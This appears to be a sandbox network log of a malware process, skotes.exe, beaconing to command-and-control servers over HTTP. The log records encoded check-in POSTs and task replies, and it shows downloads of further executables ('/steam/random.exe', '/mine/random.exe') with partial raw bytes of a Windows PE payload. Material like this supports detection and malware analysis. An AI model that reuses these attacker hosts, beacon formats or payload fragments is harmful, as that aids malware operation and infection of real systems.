Sep 25, 2024 10:33:09.240581989 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49750	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:33:10.879509926 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:33:11.607567072 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:33:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49754	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:33:13.228739023 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49755	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:33:14.871412039 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49756	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:33:16.379920006 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	64679	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:33:18.020944118 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:33:18.732594013 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:33:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	64680	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:33:20.540873051 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:33:21.253525972 CEST	385	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:33:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 63 33 0d 0a 20 3c 63 3e 31 30 30 30 30 32 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 31 66 34 61 34 65 31 61 30 63 65 37 65 39 66 30 65 35 65 62 66 35 64 65 30 34 33 34 39 30 32 35 30 38 30 64 39 23 31 30 30 30 30 32 36 30 30 32 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 31 66 34 61 34 65 31 61 30 63 65 37 65 39 66 30 65 35 65 62 66 35 64 65 30 34 33 34 39 30 32 35 30 38 30 64 39 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: c3 <c>1000023001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58981f4a4e1a0ce7e9f0e5ebf5de04349025080d9#1000026002+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58981f4a4e1a0ce7e9f0e5ebf5de04349025080d9#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	64681	185.215.113.103	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:33:21.263263941 CEST	57	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.103
Sep 25, 2024 10:33:21.971822023 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 08:33:21 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 25 Sep 2024 08:32:53 GMT ETag: "66000-622ed77d44b57" Accept-Ranges: bytes Content-Length: 417792 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4b b7 d9 41 0f d6 b7 12 0f d6 b7 12 0f d6 b7 12 60 a0 1c 12 17 d6 b7 12 60 a0 29 12 2f d6 b7 12 60 a0 1d 12 73 d6 b7 12 06 ae 24 12 06 d6 b7 12 0f d6 b6 12 9c d6 b7 12 60 a0 18 12 0e d6 b7 12 60 a0 2d 12 0e d6 b7 12 60 a0 2a 12 0e d6 b7 12 52 69 63 68 0f d6 b7 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 23 49 a2 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 fa 00 00 00 1a 07 02 00 00 00 00 53 38 00 00 00 10 00 00 00 10 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 07 02 00 04 00 00 2a 84 06 00 02 00 00 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$KA``)/`s$``-`RichPEL#IdS8@dP@0.text" `.rdata@@.data^@.rsrcPZ@@
Sep 25, 2024 10:33:21.971889019 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 81 00 e1 34 ef c6 c3 55 8b ec b8 c8 26 00 00 e8 ac b2 00 00 8b 45 08 8b 08 8b 40 04 89 45 ec a1 20 23 44 00 53 89 45 dc a1 24 Data Ascii: 4U&E@E #DSE$#DV3EWEMu(#D]E,#D?EE EE}dE}=u`E@.=uVlA5EEEEEE33=dE\E=
Sep 25, 2024 10:33:21.971939087 CEST	1236	IN	Data Raw: 64 a2 45 02 4b 13 01 00 ff 35 64 a2 45 02 a1 3c 4c 44 00 56 a3 a0 b0 45 02 ff 15 c4 10 41 00 a3 f0 9c 45 02 e8 64 fe ff ff bf 2e 69 01 00 56 56 ff d3 56 ff 15 04 12 41 00 ff 15 98 10 41 00 4f 75 ec 8b 1d bc 10 41 00 39 35 64 a2 45 02 76 5c a1 a0 Data Ascii: dEK5dE<LDVEAEd.iVVVAAOuA95dEv\E8KE9=dEu2VEPVVVVAVVVAEPVEPVTAVVAG;=dEr3dE=u2VPVVVVAVAhChC AVVVAG
Sep 25, 2024 10:33:21.971973896 CEST	1236	IN	Data Raw: 00 ae af 62 36 c7 84 24 14 01 00 00 80 c3 94 30 c7 44 24 38 37 7b d3 66 c7 84 24 50 01 00 00 b6 53 5f 17 c7 84 24 9c 00 00 00 a4 58 95 2c c7 84 24 48 01 00 00 f5 29 fd 74 c7 84 24 b4 00 00 00 eb 01 a3 1b c7 44 24 0c 70 9e 5e 24 c7 84 24 90 00 00 Data Ascii: b6$0D$87{f$PS_$X,$H)t$D$p^$$sRD$\|>$p@u~$dzjv$}D$`?$'z+$oD$X09$?=\$m~$,$\lD$d$@NPO$_#$
Sep 25, 2024 10:33:21.972009897 CEST	896	IN	Data Raw: 84 24 d8 00 00 00 2b d6 ba 47 81 84 24 7c 01 00 00 74 77 c7 47 81 84 24 a0 01 00 00 af 27 d1 2c 81 ac 24 f0 00 00 00 b3 2b 62 45 81 84 24 bc 00 00 00 a5 46 d3 1a 81 84 24 b0 00 00 00 53 ac 85 64 81 44 24 50 38 e2 d5 05 81 ac 24 30 01 00 00 28 48 Data Ascii: $+G$\|twG$',$+bE$F$SdD$P8$0(H^D$Ds\{$[$j6$hk$\|+i9Xl$D;$)Dl$\t>l$H5B$_,B$au$\|8"$}]$@&]l$ rtNc$(
Sep 25, 2024 10:33:21.972045898 CEST	1236	IN	Data Raw: 44 24 14 fc 40 33 24 81 44 24 10 31 67 0c 46 81 ac 24 b0 00 00 00 f2 20 14 39 81 44 24 44 84 04 08 1a 81 44 24 4c 76 df 6d 19 81 6c 24 50 ad 3f d1 5b 81 84 24 60 01 00 00 d0 e8 dd 75 81 84 24 a8 00 00 00 f9 8a 59 54 81 84 24 d8 00 00 00 3d c1 4a Data Ascii: D$@3$D$1gF$ 9D$DD$Lvml$P?[$`u$YT$=JZ$0AcSD$0-64&l$\%D$ sCX$X'-D$p4G$oD$Fl$x[$$Ml$P^$05l$8$?t$2:HD$xA%
Sep 25, 2024 10:33:21.972079992 CEST	1236	IN	Data Raw: 44 24 68 32 14 f6 4d 81 6c 24 64 36 91 0b 36 81 6c 24 38 7a d0 fd 23 81 44 24 64 64 a1 79 33 81 84 24 64 01 00 00 a4 f0 12 1e 81 ac 24 dc 00 00 00 af fb eb 6a 81 ac 24 8c 00 00 00 e3 e2 95 71 81 ac 24 a4 01 00 00 d5 52 0d 07 81 44 24 64 9e 46 23 Data Ascii: D$h2Ml$d66l$8z#D$ddy3$d$j$q$RD$dF#$d-$e3B2$,$\|^H$<Sp$Lb)\$\So6l$Q2KD$xp5U$p9$$$4$g$\|i$0G
Sep 25, 2024 10:33:21.972115040 CEST	1236	IN	Data Raw: c3 8b ff 55 8b ec 83 ec 10 a1 58 10 44 00 33 c5 89 45 fc 53 56 8b 75 0c f6 46 0c 40 57 0f 85 36 01 00 00 56 e8 ae 1a 00 00 59 bb 18 10 44 00 83 f8 ff 74 2e 56 e8 9d 1a 00 00 59 83 f8 fe 74 22 56 e8 91 1a 00 00 c1 f8 05 56 8d 3c 85 00 c1 45 02 e8 Data Ascii: UXD3ESVuF@W6VYDt.VYt"VV<EYY@$$<V`Yt.VTYt"VHV<E8YY@$$<VYt.VYt"VV<EYY
Sep 25, 2024 10:33:21.972148895 CEST	1236	IN	Data Raw: 35 b8 b0 45 02 ff d6 ff 35 b4 b0 45 02 8b d8 89 5d fc ff d6 8b f0 3b f3 0f 82 81 00 00 00 8b fe 2b fb 8d 47 04 83 f8 04 72 75 53 e8 0b 23 00 00 8b d8 8d 47 04 59 3b d8 73 48 b8 00 08 00 00 3b d8 73 02 8b c3 03 c3 3b c3 72 0f 50 ff 75 fc e8 99 22 Data Ascii: 5E5E];+GruS#GY;sH;s;rPu"YYuC;r>Pu"YYt/P4DAEu=DAVEE3_^[Vjj !YYVDAEEujX^&3^jhC=jeu
Sep 25, 2024 10:33:21.972186089 CEST	1236	IN	Data Raw: 85 f6 75 0d ff 75 08 e8 23 2e 00 00 59 33 c0 eb 4d 57 eb 30 85 f6 75 01 46 56 ff 75 08 6a 00 ff 35 58 74 44 00 ff 15 4c 11 41 00 8b f8 85 ff 75 5e 39 05 60 74 44 00 74 40 56 e8 22 1c 00 00 59 85 c0 74 1d 83 fe e0 76 cb 56 e8 12 1c 00 00 59 e8 a0 Data Ascii: uu#.Y3MW0uFVuj5XtDLAu^9`tDt@V"YtvVY3_^]AP?YwAP'YUVuFuMg}FuV0EeYV.FYyFttu
Sep 25, 2024 10:33:21.977611065 CEST	1236	IN	Data Raw: 0f be c0 89 85 72 ff ff ff e9 b2 00 00 00 66 8b 85 5c ff ff ff 66 83 e0 20 75 18 9b df e0 66 83 e0 20 74 0f c7 85 72 ff ff ff 08 00 00 00 e9 8d 00 00 00 d9 ad 5c ff ff ff 9b c3 66 8b 85 36 fd ff ff 66 25 f0 7f 66 0b c0 74 1b 66 3d f0 7f 74 43 eb Data Ascii: rf\f uf tr\f6f%ftf=tCf6f%f=t0rAAs4A,rAAvAVWlCv8uuz{tu}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	64683	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:33:25.592719078 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 30 30 30 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1000023001&unit=246122658369
Sep 25, 2024 10:33:26.537611961 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:33:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	64684	185.215.113.103	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:33:26.545012951 CEST	145	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.103 If-Modified-Since: Wed, 25 Sep 2024 08:32:53 GMT If-None-Match: "66000-622ed77d44b57"
Sep 25, 2024 10:33:27.260623932 CEST	195	IN	HTTP/1.1 304 Not Modified Date: Wed, 25 Sep 2024 08:33:27 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 25 Sep 2024 08:32:53 GMT ETag: "66000-622ed77d44b57" Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	64686	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:33:29.583525896 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 32 36 30 30 32 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000026002&unit=246122658369
Sep 25, 2024 10:33:30.306199074 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:33:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	64687	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:33:31.958144903 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:33:32.666846037 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:33:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	64688	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:33:34.176270962 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:33:34.904834032 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:33:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	64689	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:33:36.539182901 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:33:37.230500937 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:33:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	64691	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:33:38.739002943 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:33:39.471823931 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:33:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	64692	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:33:41.118402004 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:33:41.811949968 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:33:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	64693	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:33:43.333014965 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:33:44.055486917 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:33:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	64694	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:33:45.692390919 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:33:46.393695116 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:33:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	64695	185.215.113.103	80

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:33:47.809348106 CEST	81	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.103 Cache-Control: no-cache
